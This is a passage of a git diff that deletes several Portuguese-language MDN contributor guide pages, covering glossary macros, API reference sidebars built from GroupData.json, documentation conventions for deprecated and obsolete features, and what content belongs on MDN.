- <li>The page <a href="/en-US/docs/Glossary/Signature/Security">Glossary/Signature/Security</a> is the page defining a signature in a security context.</li>
- <li>The page <a href="/en-US/docs/Glossary/Signature/Function">Glossary/Signature/Function</a> is the page defining a function signature.</li>
- <li>The page <a href="/en-US/docs/Glossary/Signature/Email">Glossary/Signature/Email</a> is the page defining email signature.</li>
-</ol>
-
-<h2 id="Como_utilizar_a_macro_Glossary">Como utilizar a macro \{{Glossary}}</h2>
-
-<p>The glossary is much more useful when people can access the definitions from another document without navigating away from what they're reading. Therefore we urge you to link to the glossary whenever you can, using the {{TemplateLink("Glossary")}} macro:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Macro</th>
- <th scope="col">Resultado</th>
- <th scope="col">Nota</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>\{{Glossary("browser")}}</td>
- <td>{{Glossary("browser")}}</td>
- <td>When a text matches the term to be defined, just use the macro as is (it's case insensitive)</td>
- </tr>
- <tr>
- <td>\{{Glossary("browser", "Web browser")}}</td>
- <td>{{Glossary("browser","Web browser")}}</td>
- <td>To display an alternative text, use the second argument to specify that text</td>
- </tr>
- <tr>
- <td>\{{Glossary("browser", "Web browser", 1)}}</td>
- <td>{{Glossary("browser","Web browser",1)}}</td>
- <td>Specify <code>1</code> as an optional third argument to display the link as a regular link rather than a subtle hint</td>
- </tr>
- </tbody>
-</table>
-
-<p>Links created with the \{{Glossary}} macro always display a tooltip containing the glossary entry's summary paragraph.</p>
-
-<h3 id="Utilização_das_linhas_diretrizes">Utilização das linhas diretrizes</h3>
-
-<p>In many cases, it's perfectly safe to use that macro everywhere on MDN. However, there are a few cases you should handle with care:</p>
-
-<ul>
- <li>If a term is already linked to another part of MDN, leave it that way and do not use the \{{Glossary}} macro.</li>
- <li>Within an article section, use the \{{Glossary}} macro only once for the same term (<em>hint: a section always starts with a title</em>).</li>
-</ul>
diff --git a/files/pt-pt/mdn/contribute/howto/write_an_api_reference/sidebars/index.html b/files/pt-pt/mdn/contribute/howto/write_an_api_reference/sidebars/index.html
deleted file mode 100644
index 63a34dd7fe..0000000000
--- a/files/pt-pt/mdn/contribute/howto/write_an_api_reference/sidebars/index.html
+++ /dev/null
@@ -1,110 +0,0 @@
----
-title: Barras laterais de referência da API
-slug: MDN/Contribute/Howto/Write_an_API_reference/Sidebars
-tags:
- - API
- - Guía
- - Referencia
- - barras laterais
- - groupdata
- - onboarding
-translation_of: MDN/Structures/API_references/API_reference_sidebars
-original_slug: MDN/Structures/API_references/Barras_laterais_de_referencia_da_API
----
-<div>{{MDNSidebar}}</div><p class="summary">Pode incluir uma barra lateral personalizada nas páginas de referência da API para exibir as hiperligações para as 'Interfaces' relacionadas, tutoriais, e outros recursos relevantes, apenas para essa API. Este artigo explica como.</p>
-
-<h2 id="O_que_precisa_de_fazer">O que precisa de fazer?</h2>
-
-<p>You need to take the following three steps to create your API sidebar:</p>
-
-<ol>
- <li>Create your API reference pages.</li>
- <li>Add an entry for your particular API into the <a href="https://github.com/mdn/kumascript">KumaScript repo</a>'s GroupData.json data file.</li>
- <li>Use the \{{APIRef}} macro to insert the sidebar into each page you want to display it on.</li>
-</ol>
-
-<p>Let's run through each of these steps in turn. The example we'll refer to in this article is the <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>.</p>
-
-<h3 id="Criar_páginas_de_referência_da_sua_API">Criar páginas de referência da sua API</h3>
-
-<p>Before you can add sidebars to your pages, you'll need to create the pages themselves (see our <a href="/en-US/docs/MDN/Contribute/Structures/API_references/What_does_an_API_reference_need">What does an API reference need?</a> guide for more guidance).</p>
-
-<h3 id="Adicionar_uma_entrada_para_GroupData.json">Adicionar uma entrada para GroupData.json</h3>
-
-<p>The <a href="https://github.com/mdn/kumascript/blob/master/macros/GroupData.json">GroupData.json</a> file holds all the data relating to what links should appear in API reference sidebars. When invoked, the \{{APIRef}} macro takes an API name given to it as a parameter, looks up that name in GroupData.json, builds a sidebar as appropriate, and inserts it in the page.</p>
-
-<p>To add an entry to GroupData.json, you need to:</p>
-
-<ol>
- <li>Make sure you have a <a href="https://github.com/">GitHub</a> account.</li>
- <li>Fork the KumaScript repo, create a new branch to contain your changes, and clone the repo locally.</li>
- <li>Checkout your new branch before starting work, and make sure you push changes to it after finishing.</li>
- <li>Create a pull request so that the MDN team can review your work, and ask for changes if necessary.</li>
-</ol>
-
-<p>If you need help with using GitHub, a more detailed guide can be found at our <a href="/en-US/docs/MDN/Contribute/Structures/Compatibility_tables#The_new_way_The_browser_compat_data_repo_and_dynamic_tables">compatibility tables guide</a>.</p>
-
-<p>The <a href="https://github.com/mdn/kumascript/blob/master/macros/GroupData.json">GroupData.json</a> file can be found inside the macros directory of the KumaScript repo. Looking at it, you'll see a giant JSON structure, with each API having its own member. The name is the API name, and the value is an object containing several submembers defining the sidebar links to be created.</p>
-
-<p>For example, look at the <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> page on MDN. The corresponding entry in GroupData.json looks like this:</p>
-
-<pre class="brush: json notranslate">"Fetch API": {
- "overview": [ "Fetch API"],
- "interfaces": [ "Body",
- "Headers",
- "Request",
- "Response",
- "FetchController",
- "FetchObserver",
- "FetchSignal",
- "ObserverCallback" ],
- "methods": [ "WindowOrWorkerGlobalScope.fetch()" ],
- "properties": [],
- "events": []
-},</pre>
-
-<p>As you can see, we've used "Fetch API" for the name, and inside the object value we include a number of submembers.</p>
-
-<h4 id="Submembers_to_include_inside_a_GroupData_entry">Submembers to include inside a GroupData entry</h4>
-
-<p>This section lists all the submembers you could include in a GroupData entry.</p>
-
-<p>Note that Most of the values included inside the listed submembers equate to both the link text, and slugs appended to the end of the main API index page —  https://developer.mozilla.org/<em>&lt;language-code&gt;</em>/docs/Web/API — to create the final URL for the displayed link. So for example, "Body" will result in a link being created like so in the <em>en-US</em> locale:</p>
-
-<pre class="brush: html notranslate">&lt;li&gt;&lt;a href="https://developer.mozilla.org/en-US/docs/Web/API"&gt;Body&lt;/a&gt;&lt;/li&gt;</pre>
-
-<p>There are a few exceptions. For example the "guides" submember contains one or more sets of link information (title and slug) that defines links to associated guides/tutorials. In this case the slugs are appended to the end of the MDN docs root — https://developer.mozilla.org/<em>&lt;language-code&gt;</em>/docs — allowing an article anywhere on MDN to be included.</p>
-
-<p>Here are the available members. In each case, an example is included that assumes that the local is <em>en-US</em>.</p>
-
-<ol>
- <li>
- <p>"overview" — the value is an array, inside of which you include the slug of the API overview page, if there is one. "Fetch API" results in a link being made to <a href="/en-US/docs/Web/API/Fetch_API">https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API</a>.</p>
- </li>
- <li>
- <p>"interfaces" — the value is an array in which you should list all of the interfaces that form part of that API. "Body" results in a link being made to <a href="/en-US/docs/Web/API/Body">https://developer.mozilla.org/en-US/docs/Web/API/Body</a>.</p>
- </li>
- <li>
- <p>"methods" — the value is an array that should contain all of the methods associated with the API. This can include methods that are members of interfaces defined in the API spec, and methods the API defines on other interfaces. If there are a huge number of methods, you might want to consider only listing the most popular ones, or putting them first in the list. "WindowOrWorkerGlobalScope.fetch()" results in a link being made to <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch</a>.</p>
- </li>
- <li>
- <p>"properties" — the value is an array that should contain all of the properties associated with the API. This can include properties that are members of interfaces defined in the API spec, and properties the API defines on other interfaces. If there are a huge number of properties, you might want to consider only listing the most popular ones, or putting them first in the list. "Headers.append" results in a link being made to <a href="/en-US/docs/Web/API/Headers/append">https://developer.mozilla.org/en-US/docs/Web/API/Headers/append</a>.</p>
- </li>
- <li>
- <p>"events" — the value is an array that should contain all of the events associated with the API, defined in the API spec, or elsewhere. If there are a huge number of events, you might want to consider only listing the most popular ones, or putting them first in the list. "animationstart" results in a link being made to <a href="/en-US/docs/Web/Events/animationstart">https://developer.mozilla.org/en-US/docs/Web/Events/animationstart</a>.</p>
- </li>
- <li>
- <p>"guides" — the value is an array containing one or more objects that define links to guides explain how to use the API. Each object contains two submembers — "url", which contains the partial URL pointing to the guide article, and "title", which defines the link test for the link. As an example, the following object:</p>
-
- <pre class="brush: json notranslate">{ "url": "/docs/Web/API/Detecting_device_orientation",
-"title": "Detecting device orientation" }</pre>
-
- <p>Creates a link with the title "Detecting device orientation", which points to <a href="/en-US/docs/Web/API/Detecting_device_orientation">https://developer.mozilla.org/en-US/docs/Web/API/Detecting_device_orientation</a>.</p>
- </li>
-</ol>
-
-<h3 id="Inserir_a_barra_lateral_nas_suas_páginas">Inserir a barra lateral nas suas páginas</h3>
-
-<p>Once you've added an entry for your API into GroupData.json, submitted it as a pull request and had the change accepted into the main repo, you can include it in your API reference pages using the \{{APIRef}} macro, which takes the name you used for your API in GroupData as a parameter. As an example, the <a href="/en-US/docs/Web/API/WebVR_API">WebVR API</a>'s sidebar is included in its pages with the following:</p>
-
-<p>\{{APIRef("WebVR API")}}</p>
diff --git a/files/pt-pt/mdn/contribute/index.html b/files/pt-pt/mdn/contribute/index.html
deleted file mode 100644
index 151975c88c..0000000000
--- a/files/pt-pt/mdn/contribute/index.html
+++ /dev/null
@@ -1,24 +0,0 @@
----
-title: Contribuir para a MDN
-slug: MDN/Contribute
-tags:
- - Guía
- - Landing
- - Metadados MDN
-translation_of: MDN/Contribute
----
-<div>{{MDNSidebar}}</div>
-
-<header> </header>
-
-<div class="boxed translate-rendered">
-<div>{{IncludeSubnav("/pt-PT/docs/MDN")}}</div>
-</div>
-
-<p>Bem-vindo! Ao visitar esta página, efetuou o primeiro passo para se tornar em um colaborador na MDN.</p>
-
-<p><span class="seoSummary">Estes guias listados aqui abrangem todos os aspetos da contribuição na MDN, incluindo os guias de estilo, guias para a utilização do nosso editor e ferramentas, e muito mais. Por favor, certifique-se que lê (e que concorda com) os <a href="https://www.mozilla.org/en-US/about/legal/terms/mozilla/">Termos da Mozilla </a>(EN) antes de editar ou criar quaisquer páginas. </span></p>
-
-<p>Se ainda não contribuiu na MDN, o guia de <a href="https://developer.mozilla.org/pt-PT/docs/MDN/Intrudução">Iniciação na MDN</a> pode ajudá-lo a escolher uma tarefa para inciar e ajudar.</p>
-
-<p>{{LandingPageListSubPages()}}</p>
diff --git a/files/pt-pt/mdn/guidelines/conventions_definitions/index.html b/files/pt-pt/mdn/guidelines/conventions_definitions/index.html
deleted file mode 100644
index 67f3fbb27e..0000000000
--- a/files/pt-pt/mdn/guidelines/conventions_definitions/index.html
+++ /dev/null
@@ -1,202 +0,0 @@
----
-title: MDN - Convenções e Definições
-slug: MDN/Guidelines/Conventions_definitions
-tags:
- - Documentação
- - Guía
- - Linhas Diretrizes
- - MDN
- - Metadados MDN
-translation_of: MDN/Guidelines/Conventions_definitions
-original_slug: MDN/Guidelines/Convencoes_definicoes
----
-<div>{{MDNSidebar}}</div>
-
-<div>{{IncludeSubnav("/pt-PT/docs/MDN")}}</div>
-
-<p class="summary">Este artigo define algumas convenções e definições que são normalmente utilizadas na MDN, que talvez não sejam óbvias para algumas pessoas quando elas as encontrarem na documentação.</p>
-
-<h2 id="Definições">Definições</h2>
-
-<h3 id="Desaprovada_e_obsoleta">Desaprovada e obsoleta</h3>
-
-<p><strong>Desaprovada</strong> e <strong>obsoleta</strong> são termos comuns associados com as tecnologias e especificações, mas o que eles significam?</p>
-
-<dl>
- <dt>Desaprovada</dt>
- <dd>Na MDN, o termo '<strong>desaprovada</strong>' utilizado para marcar uma API ou tecnologia que já não é recomendada, mas que ainda está implementada e poderá funcionar. Mais recentemente, nós atualizamos-la para a definição utilizada no <a href="https://github.com/mdn/browser-compat-data/blob/master/schemas/compat-data-schema.md#status-information">projeto de dados compatíveis do navegador</a>, que é que "a funcionalidade já não é mais recomendada. Esta poderá ser removida no futuro ou pode ser mantida apenas para fins de compatibilidade. Evite utilizar esta funcionalidade".</dd>
- <dt>Obsoleta</dt>
- <dd>No MDN, o termo '<strong>obsoleta</strong>'utilizado para marcar uma API ou tecnologia que já não é mais recomendada, mas também não é mais implementada nos navegadores. Isto foi no entanto confuso - é semelhante a obsoleta, e a distinção não é muito útil (ainda não o deveria utilizar num site de produção). Portanto, nós não estamos mais a utilizá-lo, e quaisquer instâncias encontradas deveriam ser removidas/substituídas por 'obsoleta'.</dd>
-</dl>
-
-<h3 id="Experimental">Experimental</h3>
-
-<p><strong>Experimental</strong> can mean different things depending on the context you hear or read it in. When a technology is described as experimental on MDN, it means that the technology is nascent and immature, and currently in the process of being added to the Web platform (or considered for addition).</p>
-
-<p>One or both of these will be true:</p>
-
-<ul>
- <li>It is implemented and enabled by default in less than two modern major browsers.</li>
- <li>Its defining spec is not stable and likely to change significantly. Its syntax and behavior is therefore subject to change in future versions of browsers as the specification changes.</li>
-</ul>
-
-<p>If one or both of these definitions is true, then you should think carefully before you start using that technology in any kind of production project (i.e. not just a demo or experiment). See also the definition of experimental in our <a href="https://github.com/mdn/browser-compat-data/blob/master/compat-data-schema.md#status-information">browser-compat-data project</a>.</p>
-
-
-
-<p>Conversely, an item is no longer experimental when:</p>
-
-<ul>
- <li>It is implemented in two or more major browsers; or</li>
- <li>Its defining spec is stable and unlikely to change.</li>
-</ul>
-
-
-
-<h3 id="Páginas_arquivadas">Páginas arquivadas</h3>
-
-<p>Archived pages are pages that are stored in the MDN <a href="/en-US/docs/Archive">Archive of obsolete content</a>. These pages contain information out-of-date enough that it is not directly useful to anyone anymore.</p>
-
-<p>Most commonly, these concern Mozilla projects that have been discontinued and shouldn't be relied on anymore. But we don't simply delete them because they form a useful historical record, and some of the patterns or ideas contained within might be useful for future work. A good example is the <a href="/en-US/docs/Archive/B2G_OS">B2G (Firefox OS) project</a>.</p>
-
-<h4 id="Quando_é_que_uma_página_deverá_ser_arquivada">Quando é que uma página deverá ser arquivada?</h4>
-
-<p>A page should be archived if it fits the above description. To archive a page, you should use the "Move page feature" (<em>Advanced &gt; Move this article</em>) to move the page into the Archive page tree (/en-US/docs/Archive). You might not have the permissions to use this feature, and before you start archiving pages you should discuss it with the MDN community first — talk to us on our <a href="https://discourse.mozilla.org/c/mdn">Discourse forum</a>.</p>
-
-<h3 id="Páginas_eliminadas">Páginas eliminadas</h3>
-
-<p>Deleted pages are pages that have been explicitly deleted from MDN — see for example the <code><a href="/en-US/docs/Web/API/SharedKeyframeList">SharedKeyframeList</a></code> interface and <code><a href="/en-US/docs/Web/API/SharedKeyframeList/SharedKeyframeList">SharedKeyframeList()</a></code> constructor. These pages contain information that is not useful in any way anymore, and/or might be incorrect to the point where keeping it available might be confusing or bad for people to know.</p>
-
-<p>These might be:</p>
-
-<ul>
- <li>Reference pages for API features that were removed from the specification before they were implemented in any browsers.</li>
- <li>Articles covering techniques that were later shown to be bad practice and superceded by better techniques.</li>
- <li>Articles containing information that were later replaced by other, better quality articles.</li>
- <li>Articles containing content that is inappropriate for MDN.</li>
- <li>Translations that are old, out-of-date, and difficult to fix, meaning that the English version is preferrable and starting a new translation would be an easier option.</li>
-</ul>
-
-<h4 id="Quando_é_que_uma_página_deverá_ser_eliminada">Quando é que uma página deverá ser eliminada?</h4>
-
-<p>A page should be deleted if it fits the above description. To delete a page, you should use the "Delete this page feature" (<em>Advanced &gt; Delete this page</em>) to delete the page. You will probably not have the permissions to use this feature, and when thinking about deleting pages you should discuss it with the MDN community first — talk to us on our <a href="https://discourse.mozilla.org/c/mdn">Discourse forum</a>.</p>
-
-
-
-
-
-<h3 id="Quando_documentar_novas_tecnologias">Quando documentar novas tecnologias</h3>
-
-<p>On MDN, we are constantly looking to document new web standards technologies as appropriate. We try to strike a balance between publishing the documentation early enough so developers can learn about new features as soon as they need to, and publishing it late enough so that the technology is mature and stable so the docs won't need constant updates or rapid removal.</p>
-
-<p>In general, our definition of the earliest we'll consider documenting a new technology is:</p>
-
-<p><em>"When the feature is on a standards track and is implemented somewhere."</em></p>
-
-<p>You should definitely consider documenting a new technology if:</p>
-
-<ul>
- <li>It is specified in a specification document published under a reliable standards organization (such as W3C, WHATWG, Khronos, IETF, etc.), which has reached a reasonable level of stability (e.g. a W3C working draft or candidate recommendation, or the spec is looking to be fairly stable judging by the flow of issues filed against it).</li>
- <li>It is implemented consistently in at least one browser, with other browser developers showing signs of interest (such as an active ticket or "intent to implement" process in effect).</li>
-</ul>
-
-<p>You should be more wary of documenting a new technology (but should still consider it if it makes sense) if it:</p>
-
-<ul>
- <li>Doesn't have a spec, or the spec is a rough note that looks liable to change.</li>
- <li>One or zero browsers currently implement it, and non-supporting browsers are not showing signs of interest in implementing it (you can gauge this by asking engineers who work on those browsers, looking at browser bug trackers and mailing lists, etc.).</li>
-</ul>
-
-<p>You should not consider documenting a new technology if it:</p>
-
-<ul>
- <li>Is not a web-exposed technology and/or is completely proprietary.</li>
- <li>Is already showing signs of being deprecated, or superseded by a similar feature.</li>
-</ul>
-
-
-
-<h2 id="Convenções">Convenções</h2>
-
-<h3 id="Quando_é_removido_algo_da_especificação">Quando é removido algo da especificação</h3>
-
-<p>Sometimes during the development of a new specification, or over the course of the evolution of living standards such as HTML, new elements, methods, properties, and so forth are added to the specification, stay there for a while, then get removed again. Sometimes this happens very quickly, and sometimes these new items remain in the specification for months or even years before being removed. This can make it tricky to decide how to handle the removal of the item from the spec. Here are some guidelines to help you decide what to do.</p>
-
-<div class="note">
-<p>For the purposes of this discussion, the word "item" is used to mean anything which can be part of a specification: an element or an attribute of an element, an interface or any individual method, property, or other member of an interface, and so forth.</p>
-</div>
-
-<ul>
- <li>If the item was <em>never</em> implemented in a release version of <em>any</em> browser—even behind a preference or flag—simply delete any references to the item from the documentation.
-
- <ul>
- <li>If the item has any documentation pages describing only that one item (such as {{domxref("RTCPeerConnection.close()")}}), delete that page. If the removed item is an interface, this means removing any subpages describing the properties and methods on that interface as well.</li>
- <li>Remove the item from any lists of properties, attributes, methods, and so forth. For methods of an interface, that means to remove it from the "Methods" section on the interface's overview page, for example.</li>
- <li>Search the text of the overview page for that interface, element, etc. for any references to the removed item. Remove those references, being sure not to leave weird grammar issues or other problems with the text. This may mean not just deleting words but rewriting a sentence or paragraph to make more sense. It may also mean removing entire sections of content if the description of the item's use is lengthy.</li>
- <li>Similarly, look for any discussion of the item in the guides and tutorials about the relevant API or technology. Remove those references, being sure not to leave weird grammar issues or other problems with the text. This may mean not just deleting words but rewriting a sentence or paragraph to make more sense. It may also mean removing entire sections of content if the description of the item's use is lengthy.</li>
- <li>Search MDN for references to the removed item, in case there are discussions elsewhere. It's unlikely that there are, since if it was never implemented, it's unlikely to be widely discussed. Remove those mentions as well.</li>
- <li>If the <a href="https://github.com/mdn/browser-compat-data">Browser Compatibility Data repository's</a> JSON files contain data for the removed items, delete those objects from the JSON code and submit a PR with that change, explaining why in the commit message and the PR description. Be careful to check that you don't break the JSON syntax while doing this.</li>
- </ul>
- </li>
- <li>If the item was implemented in any release version of any one or more browsers—but <em>only</em> behind a preference or flag—do not delete the item from the documentation immediately. Instead, mark the item as obsolete as follows:
- <ul>
- <li>If the item has any documentation pages describing only that one item (such as {{domxref("RTCPeerConnection.close()")}}), add the {{TemplateLink("obsolete_header")}} macro to the top of the page and add the {{tag("Obsolete")}} tag to the page's list of tags.</li>
- <li>On the overview page for the element, interface, or API, find the list of items which includes the item that's been removed from the specification and add the {{TemplateLink("obsolete_inline")}} macro after the item's name in that list.</li>
- <li>Search the informative text of the overview page for that interface, element, etc. for any references to the removed item. Add warning boxes in appropriate places with text along the lines of "[whatever] has been removed from the specification and will be removed from browsers soon. See [link to page] for a new way to do this."</li>
- <li>Similarly, look for any discussion of the item in the guides and tutorials about the relevant API or technology. Add similar warnings.</li>
- <li>Search MDN for references to the removed item, in case there are discussions elsewhere. Add similar warning boxes there as well.</li>
- <li>At some point in the future, a decision may be made to actually remove the item from the documentation; we don't normally do this but if the item was especially unutilized or uninteresting, we may decide to do so.</li>
- <li>Update any relevant entries in the <a href="https://github.com/mdn/browser-compat-data">Browser Compatibility Data repo</a> to reflect the obsolescence of the item(s) affected.</li>
- </ul>
- </li>
- <li>If the item was implemented in one or more release builds of browsers—without requiring a preference or flag to be changed—mark the item as deprecated, as follows:
- <ul>
- <li>If the item has any documentation pages describing only that one item (such as {{domxref("RTCPeerConnection.close()")}}), add the {{TemplateLink("deprecated_header")}} macro to the top of the page and add the {{tag("Deprecated")}} tag to the page's list of tags.</li>
- <li>On the overview page for the element, interface, or API, find the list of items which includes the item that's been removed from the specification and add the {{TemplateLink("deprecated_inline")}} macro after the item's name in that list.</li>
- <li>Search the informative text of the overview page for that interface, element, etc. for any references to the removed item. Add warning boxes in appropriate places with text along the lines of "[whatever] has been removed from the specification and is deprecated. It may be removed from browsers in the future, so you should not use it. See [link to page] for a new way to do this."</li>
- <li>Similarly, look for any discussion of the item in the guides and tutorials about the relevant API or technology. Add similar warnings.</li>
- <li>Search MDN for references to the removed item, in case there are discussions elsewhere. Add similar warning boxes there as well.</li>
- <li>It's unlikely that these items will be removed from the documentation anytime soon, if ever. It's possible, however, that some or all of the material may be moved to the <a href="/en-US/docs/Archive">Archive</a> section of the site.</li>
- <li>Update any relevant entries in the <a href="https://github.com/mdn/browser-compat-data">Browser Compatibility Data repo</a> to reflect the deprecation of the item(s) affected.</li>
- </ul>
- </li>
-</ul>
-
-<p>Please use common sense with wording of warning messages and other changes to text suggested by the guidelines above. Different items will require different wording and handling of the situation. When in doubt, feel free to ask for advice on the <a href="https://chat.mozilla.org/#/room/#mdn:mozilla.org">MDN Web Docs chat room</a> on <a href="https://wiki.mozilla.org/Matrix">Matrix</a>, or on the <a href="https://discourse.mozilla.org/c/mdn">MDN Web Docs discussion forum</a>.</p>
-
-<h3 id="Copiar_conteúdo_dentro_da_MDN">Copiar conteúdo dentro da MDN</h3>
-
-<p>Sometimes, you need to reuse the same text on multiple pages (or you want to use one page's content as a template for another page). You have three options:</p>
-
-<ul>
- <li>If you want to copy an entire page:
- <ol>
- <li>While viewing the page you want to copy, on the <strong>Advanced</strong> (gear) menu, choose  <strong><a href="/en-US/docs/MDN/Contribute/Creating_and_editing_pages#Clone_of_an_existing_page">Clone this page</a></strong>. This opens the editor UI for a new page, with the contents of the cloned page already populated.</li>
- <li>Enter a new <strong>Title</strong> and <strong>Slug</strong> for the cloned page.</li>
- <li>Edit the contents of the page as needed, and save as usual.</li>
- </ol>
- </li>
- <li>If you want to copy just part of a page, <strong>don't just visit the page and copy from it</strong>. This introduce unwanted additional bits of HTML into the destination page, and somebody will have to clean that up, you or another editor. Nobody wants that. To copy part of an MDN page to another page:
- <ol>
- <li>On the source page, click the <strong>Edit</strong> button on the source page.</li>
- <li><strong>Copy the content you want to reuse from within the editor UI.</strong></li>
- <li>Click <strong>Discard</strong> to exit the editor UI for that page.</li>
- <li>Open the editor UI for page where you want to paste.</li>
- <li>Paste the content from the clipboard.</li>
- </ol>
- </li>
- <li>Sometimes you literally want to use the same content on many pages. In this case, you might be best off placing the content in one page, then using the {{TemplateLink("Page")}} macro to transclude the material from one page into another. This way, whenever the text on the source page is updated, the destination page will update as well (that is, this will happen on a forced-refresh or when the target page goes through a scheduled rebuild).</li>
-</ul>
-
-<h4 id="Copiar_conteúdo_de_outro_lado">Copiar conteúdo de outro lado</h4>
-
-<p>Often, there is useful content about a topic somewhere on the web besides on MDN. However, copying such content can be fraught with difficulties, both legal and technical.</p>
-
-<p>On the technical level, search engines typically penalize a site in their rankings for reproducing content available elsewhere. Therefore, it is preferable to have original content on MDN, to enhance the search engine ranking of MDN's content. You can link to the existing content from MDN.</p>
-
-<p>On the legal level, you must be authorized to contribute the content, and it must be licensed and attributed in a way that is compatible with <a href="/en-US/docs/MDN/About#Copyrights_and_licenses">MDN's license</a>.</p>
-
-<ul>
- <li><strong>If you created the existing content</strong> (for your own purposes and not as work-for-hire), and you are willing to contribute it to MDN under MDN's license, this is the easiest case, and you are free to contribute the content.</li>
- <li><strong>If the copyright for the content belongs to someone else</strong>, it must be licensed and attributed compatibly with MDN's license. It is often not easy for someone who is not a lawyer to determine what licenses are compatible. To be on the safe side, contact a member of the <a href="https://wiki.mozilla.org/MDN#Staff_Team">MDN staff team</a>, who may consult Mozilla's Legal team for guidance if necessary.</li>
-</ul>
diff --git a/files/pt-pt/mdn/guidelines/does_this_belong_on_mdn/index.html b/files/pt-pt/mdn/guidelines/does_this_belong_on_mdn/index.html
deleted file mode 100644
index dc76b00182..0000000000
--- a/files/pt-pt/mdn/guidelines/does_this_belong_on_mdn/index.html
+++ /dev/null
@@ -1,201 +0,0 @@
----
-title: Isto pertence aos MDN Web Docs?
-slug: MDN/Guidelines/Does_this_belong_on_MDN
-tags:
- - Guía
- - Linhas Diretrizes
- - Metadados MDN
-translation_of: MDN/Guidelines/Does_this_belong_on_MDN
-original_slug: MDN/Guidelines/Isto_pertence_a_MDN
----
-<div>{{MDNSidebar}}</div>
-
-<div>{{IncludeSubnav("/pt-PT/docs/MDN")}}</div>
-
-<p><span class="seoSummary">Neste artigo, irá encontrar informação a descrever como decidir se determinado tópico e/ ou tipo de conteúdo deverá ou não ser incluído na MDN Web Docs. Nós também iremos considerar outros lugares em que pode colocar o conteúdo, embora não em profundidade</span>.</p>
-
-<h2 id="A_questão">A questão</h2>
-
-<p>If you're preparing to document something, you may be trying to decide whether to put the information on MDN Web Docs. In addition, you may be considering maintaining documentation in your source code, putting the document on the <a href="https://wiki.mozilla.org/">Mozilla wiki</a>, or in readme files in a Git repository. This article's purpose is to help you decide which of these options is right for your content.</p>
-
-<p>The two main considerations for whether a document belongs on MDN are:</p>
-
-<ul>
- <li>The topic of the document (what is it about?)</li>
- <li>The nature of the document (what kind of document is it?)</li>
-</ul>
-
-<p>Be aware that all contributions to MDN fall under specific open source licenses; these are <a href="https://developer.mozilla.org/en-US/docs/MDN/About#Copyrights_and_licenses">described in detail</a> on our <a href="/en-US/docs/MDN/About">About MDN</a> page.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: Keep in mind that Mozilla's <a href="https://www.mozilla.org/en-US/about/legal/terms/mozilla/">Websites &amp; Communications Terms of Use</a> are in effect when you use or contribute to MDN Web Docs. Review this document to ensure that you're aware of what can and cannot be posted on Mozilla sites.</p>
-</div>
-
-<h2 id="Que_tópicos_pertencem_aos_MDN_Web_Docs">Que tópicos pertencem aos MDN Web Docs?</h2>
-
-<p>In general, if it's an open web-facing technology, we document it on MDN. This means any feature that can used by Web developers creating sites and applications now and in the near future. If it is implemented by multiple browsers and either accepted as standard or is progressing towards standardization, then yes, definitely. If it is still very experimental and not implemented in multiple browsers and/or liable to change, then it is still suitable for inclusion, but may not be seen as a priority for the writer's team to work on.</p>
-
-<p>The primary focus is on front-end web technologies:</p>
-
-<ul>
- <li><a href="/en-US/docs/Web/HTML" title="HTML">HTML</a></li>
- <li><a href="/en-US/docs/Web/CSS" title="CSS">CSS</a></li>
- <li><a href="/en-US/docs/Web/JavaScript" title="en/JavaScript">JavaScript</a></li>
- <li><a href="/en-US/docs/Web/SVG" title="SVG">SVG</a></li>
- <li><a href="/en-US/docs/Web/API">Web APIs</a></li>
- <li><a href="/en-US/docs/Web/API/WebGL_API" title="WebGL">WebGL</a></li>
- <li>etc.</li>
-</ul>
-
-<div class="note">
-<p><strong>Nota</strong>: Back-end technologies usually have their own documentation elsewhere that MDN does not attempt to supercede, although we <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side">do have some exceptions</a>.</p>
-</div>
-
-<p>Also welcome are topics that cut across technologies but are relevant to Web development, such as:</p>
-
-<ul>
- <li><a href="/en-US/docs/Web/Accessibility" title="Accessibility">Accessibility</a></li>
- <li><a href="/en-US/docs/AJAX">AJAX</a></li>
- <li><a href="/en-US/docs/Web/Guide/Graphics">Web graphics</a></li>
- <li><a href="/en-US/docs/Apps">Open web apps</a></li>
- <li><a href="/en-US/Apps/Tutorials/Games">Web-based games</a></li>
-</ul>
-
-<div class="note">
-<p><strong>Nota:</strong> MDN covers some non-standard features if they're exposed to the Web, especially if they find common usage; for example, we have documentation for WebKit-specific CSS properties.</p>
-</div>
-
-<h2 id="Que_tópicos_não_pertencem_aos_MDN_Web_Docs">Que tópicos não pertencem aos MDN Web Docs?</h2>
-
-<p>In general, anything that isn't an open web standard does not belong on MDN. The below sections provide more specifics.</p>
-
-<h3 id="Produtos_da_Mozilla">Produtos da Mozilla</h3>
-
-<p>Documentation in this category includes information on both how to work with Mozilla products, as a developer, and how to contribute to these open-source projects.</p>
-
-<p>While MDN Web Docs contains a large quantity of Mozilla product documentation, the focus of new content development is on open web standards. We are in the process of determining what to do about this content, so it may not make sense to create new Mozilla product documentation on MDN Web Docs. If you are working on a Mozilla product (or project that may become a product), talk to a member of the <a href="https://wiki.mozilla.org/Engagement/MDN_Durable_Team">MDN staff team</a> to discuss possible avenues for documenting your product. Also, see the section on <a href="#Cases_for_documenting_elsewhere">Cases for documenting elsewhere</a>, below.</p>
-
-<ul>
- <li><a href="en-US/docs/Firefox">Firefox browser</a>
-
- <ul>
- <li><a href="/en-US/docs/Tools">Firefox Developer Tools</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons">Add-ons</a></li>
- <li><a href="en-US/docs/Mozilla/Developer_guide/Build_Instructions">Building and configuring Firefox</a></li>
- <li>etc.</li>
- </ul>
- </li>
- <li><a href="/en-US/docs/Mozilla">The Mozilla platform</a>
- <ul>
- <li><a href="/en-US/docs/Mozilla/Gecko">Gecko</a></li>
- <li><a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a></li>
- <li>etc.</li>
- </ul>
- </li>
-</ul>
-
-<h3 id="E_que_mais">E que mais?</h3>
-
-<p>Other examples of inappropriate topics for MDN Web Docs:</p>
-
-<ul>
